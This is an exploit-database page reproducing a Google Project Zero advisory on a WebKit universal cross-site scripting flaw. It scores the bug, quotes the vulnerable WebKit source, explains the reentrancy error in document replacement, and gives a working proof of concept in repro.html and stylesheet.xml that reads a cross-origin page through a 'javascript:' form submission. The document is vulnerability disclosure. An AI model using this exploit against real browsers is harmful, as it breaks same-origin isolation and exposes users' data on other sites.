WebKit - UXSS via XSLT and Nested Document Replacements Exploit

2019-08-1200:00:00

Google Security Research

0day.today

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

0.016 Low

EPSS

Percentile

87.3%

JSON

VULNERABILITY DETAILS
https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/xml/XSLTProcessor.cpp#L66
```
Ref<Document> XSLTProcessor::createDocumentFromSource(const String& sourceString,
    const String& sourceEncoding, const String& sourceMIMEType, Node* sourceNode, Frame* frame)
{
    Ref<Document> ownerDocument(sourceNode->document());
    bool sourceIsDocument = (sourceNode == &ownerDocument.get());
    String documentSource = sourceString;

    RefPtr<Document> result;
    if (sourceMIMEType == "text/plain") {
        result = XMLDocument::createXHTML(frame, sourceIsDocument ? ownerDocument->url() : URL());
        transformTextStringToXHTMLDocumentString(documentSource);
    } else
        result = DOMImplementation::createDocument(sourceMIMEType, frame, sourceIsDocument ? ownerDocument->url() : URL());

    // Before parsing, we need to save & detach the old document and get the new document
    // in place. We have to do this only if we're rendering the result document.
    if (frame) {
[...]
        frame->setDocument(result.copyRef());
    }

    auto decoder = TextResourceDecoder::create(sourceMIMEType);
    decoder->setEncoding(sourceEncoding.isEmpty() ? UTF8Encoding() : TextEncoding(sourceEncoding), TextResourceDecoder::EncodingFromXMLHeader);
    result->setDecoder(WTFMove(decoder));

    result->setContent(documentSource);
```

https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/page/Frame.cpp#L248
```
void Frame::setDocument(RefPtr<Document>&& newDocument)
{
    ASSERT(!newDocument || newDocument->frame() == this);

    if (m_documentIsBeingReplaced) // ***1***
        return;

    m_documentIsBeingReplaced = true;

[...]

    if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
        m_doc->prepareForDestruction(); // ***2***

    m_doc = newDocument.copyRef();
```

`setDocument` calls `Document::prepareForDestruction`, which might trigger JavaScript execution via
a nested frame's "unload" event handler. Therefore the `m_documentIsBeingReplaced` flag has been
introduced to avoid reentrant calls. The problem is that by the time `setDocument` is called,
`newDocument` might already have a reference to a `Frame` object, and if the method returns early,
that reference will never get cleared by subsequent navigations. It's not possible to trigger
document replacement inside `setDocument` via a regular navigation request or a 'javascript:' URI
load; however, an attacker can use an XSLT transformation for that.

When the attacker has an extra document attached to a frame, they can navigate the frame to a
cross-origin page and issue a form submission request to a 'javascript:' URI using the extra
document to trigger UXSS.

VERSION
WebKit revision 245321.
It should affect the stable branch as well, but the test case crashes Safari 12.1.1 (14607.2.6.1.1).

REPRODUCION CASE
repro.html:
```
<body>
<script>
createFrame = doc => doc.body.appendChild(document.createElement('iframe'));

pi = document.createProcessingInstruction('xml-stylesheet',
  'type="text/xml" href="stylesheet.xml"');
cache_frame = createFrame(document);
cache_frame.contentDocument.appendChild(pi);

setTimeout(() => {
  victim_frame = createFrame(document);
  child_frame_1 = createFrame(victim_frame.contentDocument);
  child_frame_1.contentWindow.onunload = () => {
    victim_frame.src = 'javascript:""';
    try {
      victim_frame.contentDocument.appendChild(document.createElement('html')).
        appendChild(document.createElement('body'));
    } catch { }
    
    child_frame_2 = createFrame(victim_frame.contentDocument);
    child_frame_2.contentWindow.onunload = () => {
      doc = victim_frame.contentDocument;
      doc.write('foo');
      doc.firstChild.remove();

      doc.appendChild(pi);
      doc.appendChild(doc.createElement('root'));

      doc.close();
    }
  }

  victim_frame.src = 'javascript:""';

  if (child_frame_1.xslt_script_run) {
    victim_frame.src = 'http://example.com/';
    victim_frame.onload = () => {
      form = corrupted_doc.createElement('form');
      form.action = 'javascript:alert(document.body.innerHTML)';
      form.submit();
    }
  }
}, 2000);
</script>
</body> 

```

stylesheet.xml:
```
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<script>
<![CDATA[
document.body.lastChild.xslt_script_run = true;
]]>
</script>
<iframe src="javascript:top.corrupted_doc = frameElement.ownerDocument; frameElement.remove();"></iframe>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

```

CREDIT INFORMATION
Sergei Glazunov of Google Project Zero